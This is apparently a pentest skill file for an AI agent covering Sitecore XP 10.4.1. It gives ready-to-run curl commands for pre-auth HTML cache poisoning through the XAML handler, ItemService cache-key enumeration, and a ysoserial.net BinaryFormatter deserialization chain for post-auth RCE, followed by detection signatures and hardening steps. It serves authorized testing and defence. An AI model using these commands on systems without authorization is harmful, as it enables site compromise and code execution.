Hacktricks-skills sitecore-xp-pentest
Security testing skill for Sitecore Experience Platform (XP) vulnerabilities including pre-auth HTML cache poisoning and post-auth RCE via BinaryFormatter deserialization. Use this skill whenever the user mentions Sitecore XP, Sitecore security testing, cache poisoning, XAML handler exploitation, or deserialization attacks against Sitecore. Trigger for any Sitecore vulnerability assessment, penetration testing, or security review tasks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/sitecore/sitecore/SKILL.MDSitecore XP Security Testing
A comprehensive skill for testing Sitecore Experience Platform (XP) 10.4.1 and similar versions for critical vulnerabilities including pre-auth cache poisoning and post-auth RCE.
When to Use This Skill
Use this skill when:
- Testing Sitecore XP installations for security vulnerabilities
- Investigating cache poisoning or deserialization issues in Sitecore
- Performing penetration testing on Sitecore-based applications
- Reviewing Sitecore security configurations
- Validating patches KB1003667 and KB1003734
Vulnerability Overview
This skill covers a complete attack chain:
- Pre-auth: XAML Ajax reflection → HtmlCache write (CVE-2025-53693)
- Enumeration: Cache key discovery via ItemService side-channels (CVE-2025-53694)
- Post-auth: BinaryFormatter deserialization → RCE (CVE-2025-53691)
Prerequisites
- Target Sitecore XP 10.4.1 (or similar version)
- For post-auth tests: authenticated Content Editor credentials
- ysoserial.net or YSoNet for gadget generation
- HTTP client (curl, Burp, etc.)
Phase 1: Pre-auth Cache Poisoning
Test the XAML Handler
The pre-auth entrypoint is the XAML handler at
/-/xaml/Sitecore.Shell.Xaml.WebControl.
Quick test:
# Check if XAML handler is accessible curl -s -o /dev/null -w "%{http_code}" "https://target/-/xaml/Sitecore.Shell.Xaml.WebControl" # 200 = vulnerable, 404/403 = blocked
Poison the HtmlCache
Use the
AddToCache method on the XmlControl to write arbitrary HTML:
# Basic cache poisoning test curl -X POST "https://target/-/xaml/Sitecore.Shell.Xaml.WebControl" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d '__PARAMETERS=AddToCache("test-key","<html><body>POISONED</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1'
Key parameters:
: ClientID of xmlcontrol:GlobalHeader (typically__SOURCE
)ctl00_ctl00_ctl05_ctl03
: Method call in format__PARAMETERSMethod("arg1","arg2")
: Required for Ajax event processing__ISEVENT=1
Verify Cache Poisoning
# Check if cache was poisoned by requesting a page that uses the cache key curl -s "https://target/" | grep -i "POISONED"
Phase 2: Cache Key Enumeration
Check ItemService Exposure
# Test if ItemService is exposed anonymously curl -s "https://target/sitecore/api/ssc/item" | jq -r '.error?.message // "Exposed"' # 404 with error body = exposed, 403 = blocked
Enumerate Cacheable Items
# List layouts and cacheable components curl -s "https://target/sitecore/api/ssc/item/search?term=layouts&fields=Path,Cacheable,VaryByDevice,VaryByLogin&pagesize=100" | jq '.Results[] | {path: .Path, cacheable: .Cacheable}'
Side-channel Enumeration (CVE-2025-53694)
Even when Results are empty, TotalCount may leak information:
# Brute-force device groups via TotalCount curl -s "https://target/sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&pagesize=100" | jq '.TotalCount' # Incrementally narrow down: aa*, aa3*, etc.
Construct Cache Keys
Cache keys follow this pattern:
{CachingID}_#lang:{LANG}_#login:{BOOL}_#dev:{DEVICE}_#qs:{PARAMS}_#index
Example for a sublayout:
/layouts/Sample+Sublayout.ascx_#lang:EN_#login:False_#dev:Desktop_#qs:_#index
Phase 3: Post-auth RCE
Prerequisites
- Valid Content Editor session cookie
- ysoserial.net for gadget generation
Generate Deserialization Payload
# Generate BinaryFormatter gadget (requires ysoserial.net) ysoserial.exe -o String -g ObjectStateModder -f BinaryFormatter -t "<script>alert('XSS')</script>" | base64 -w0
Trigger the Deserialization Sink
The sink is in
convertToRuntimeHtml pipeline via FixHtml.aspx:
# Step 1: Start Content Editor session curl -s -c cookies.txt "https://target/sitecore/shell/Applications/Content%20Editor.aspx" # Step 2: Load malicious HTML into EditHtml session GADGET=$(ysoserial.exe -o String -g ObjectStateModder -f BinaryFormatter -t "<script>alert('RCE')</script>" | base64 -w0) curl -X POST "https://target/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx" \ -b cookies.txt \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "__PARAMETERS=edithtml:fix&ctl00\$ctl00\$ctl05\$Html=<html><iframe id='test' src='poc' value='poc'></iframe><test id='test_inner' value='${GADGET}'></test></html>" # Step 3: Extract hdl from response and trigger FixHtml # Response contains: {"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/...FixHtml.aspx?hdl=..."} # Then request that URL to trigger deserialization
Detection Signatures
Pre-auth XAML Exploitation
Monitor for:
- Requests to
with/-/xaml/Sitecore.Shell.Xaml.WebControl__ISEVENT=1
containing__PARAMETERSAddToCache(- Unusual
values targeting XmlControl__SOURCE
ItemService Probing
- Spikes in
with wildcard queries/sitecore/api/ssc/item/search - Large
with emptyTotalCount
arrayResults - Sequential queries narrowing down item groups
Deserialization Attempts
POST followed byEditHtml.aspx
GETFixHtml.aspx?hdl=- Large base64 strings in HTML fields
- Requests to
pipelineconvertToRuntimeHtml
Hardening Recommendations
Immediate Actions
- Apply patches: KB1003667 and KB1003734 (June/July 2025)
- Disable pre-auth XAML handlers in web.config:
<!-- Comment out or remove --> <!-- <add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" /> --> - Restrict ItemService to authenticated roles only
- Remove BinaryFormatter usage or add strict validation
Monitoring
- Rate-limit
endpoints/-/xaml/ - Alert on
in request parametersAddToCache - Monitor for cache key enumeration patterns
- Log all
pipeline invocationsconvertToRuntimeHtml
Access Control
- Enforce MFA for Content Editor users
- Apply least privilege to Sitecore accounts
- Review CSP headers to limit JS steering impact
- Lock down
to loopback or specific roles/sitecore/api/ssc
Scripts
See the
scripts/ directory for:
- Test XAML handler accessibilitytest-xaml-handler.sh
- Enumerate cacheable itemsenumerate-cache-keys.sh
- Generate deserialization payloadsgenerate-gadget.sh
- Complete attack chain (use with caution)full-chain-test.sh
References
Safety Notice
This skill is for authorized security testing only. Always obtain written permission before testing any Sitecore installation. Unauthorized access to computer systems is illegal.